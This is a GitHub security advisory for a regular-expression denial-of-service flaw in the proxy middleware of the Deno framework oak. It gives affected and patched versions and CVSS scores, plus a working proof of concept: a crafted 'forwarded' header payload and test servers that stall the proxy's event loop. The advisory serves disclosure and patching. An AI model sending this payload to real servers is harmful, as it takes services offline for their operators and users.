Skip to content

ReDoS vulnerability in `proxy` middleware

High
kitsonk published GHSA-hm8w-g9fh-9jh2 Apr 29, 2023

Package

oak (Deno)

Affected versions

>= 7.6.0

Patched versions

>= 12.3.1

Description

Summary

An exponential (severe) complexity regular expression exposed to user input (via an arbitrary forwarded header) allows for a full denial of service attack on the Oak proxy server.

Details

Affected regex:

oak/middleware/proxy.ts

Lines 88 to 89 in 7418ff3

const FORWARDED_RE =
/^(,[ \\t]*)*([!#$%&'*+.^_`|~0-9A-Za-z-]+=([!#$%&'*+.^_`|~0-9A-Za-z-]+|\"([\\t \\x21\\x23-\\x5B\\x5D-\\x7E\\x80-\\xFF]|\\\\[\\t \\x21-\\x7E\\x80-\\xFF])*\"))?(;([!#$%&'*+.^_`|~0-9A-Za-z-]+=([!#$%&'*+.^_`|~0-9A-Za-z-]+|\"([\\t \\x21\\x23-\\x5B\\x5D-\\x7E\\x80-\\xFF]|\\\\[\\t \\x21-\\x7E\\x80-\\xFF])*\"))?)*([ \\t]*,([ \\t]*([!#$%&'*+.^_`|~0-9A-Za-z-]+=([!#$%&'*+.^_`|~0-9A-Za-z-]+|\"([\\t \\x21\\x23-\\x5B\\x5D-\\x7E\\x80-\\xFF]|\\\\[\\t \\x21-\\x7E\\x80-\\xFF])*\"))?(;([!#$%&'*+.^_`|~0-9A-Za-z-]+=([!#$%&'*+.^_`|~0-9A-Za-z-]+|\"([\\t \\x21\\x23-\\x5B\\x5D-\\x7E\\x80-\\xFF]|\\\\[\\t \\x21-\\x7E\\x80-\\xFF])*\"))?)*)?)*$/;

Due to the regex's complexity (being exponential), a small payload <5kb can potentially leave the server's event loop fully stuck.

PoC

// proxy.ts
import { Application, proxy } from "https://deno.land/x/[email protected]/mod.ts";

const app = new Application();

// Logger
app.use(async (ctx, next) => {
  await next();
  const rt = ctx.response.headers.get("X-Response-Time");
  console.log(`${ctx.request.method} ${ctx.request.url} - ${rt}`);
});

// Timing
app.use(async (ctx, next) => {
  const start = Date.now();
  await next();
  const ms = Date.now() - start;
  ctx.response.headers.set("X-Response-Time", `${ms}ms`);
});

app.use(proxy("http://localhost:9000"));

console.log("Server running on port 8000");

await app.listen({ port: 8000 });
// index.ts (the main server being proxied - this can be any service)
import { Application } from "https://deno.land/x/[email protected]/mod.ts";

const app = new Application();

// Logger
app.use(async (ctx, next) => {
  await next();
  const rt = ctx.response.headers.get("X-Response-Time");
  console.log(`${ctx.request.method} ${ctx.request.url} - ${rt}`);
});

// Timing
app.use(async (ctx, next) => {
  const start = Date.now();
  await next();
  const ms = Date.now() - start;
  ctx.response.headers.set("X-Response-Time", `${ms}ms`);
});

// Hello World!
app.use((ctx) => {
  ctx.response.body = "Hello World!";
});

console.log("Server running on port 9000");

await app.listen({ port: 9000 });
// payload.ts
const start = performance.now();

const request = await fetch("http://localhost:8000", {
    headers: {
        "forwarded": ',;!="\\\\' + 't\\\\t\\\\'.repeat(28) + 't,'
    }
});

const response = await request.text();
const end = performance.now();
console.log(response);
console.log(`Took ${end - start}ms`);

To run, run both proxy.ts and index.ts in parallel, then run payload.ts while both servers are running. This will halt proxy.ts fully (because of the CPU cost).

Impact

This vulnerability impacts anyone using oak as a proxy service, allowing for their server to be brought to a full stop.

References

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

Credits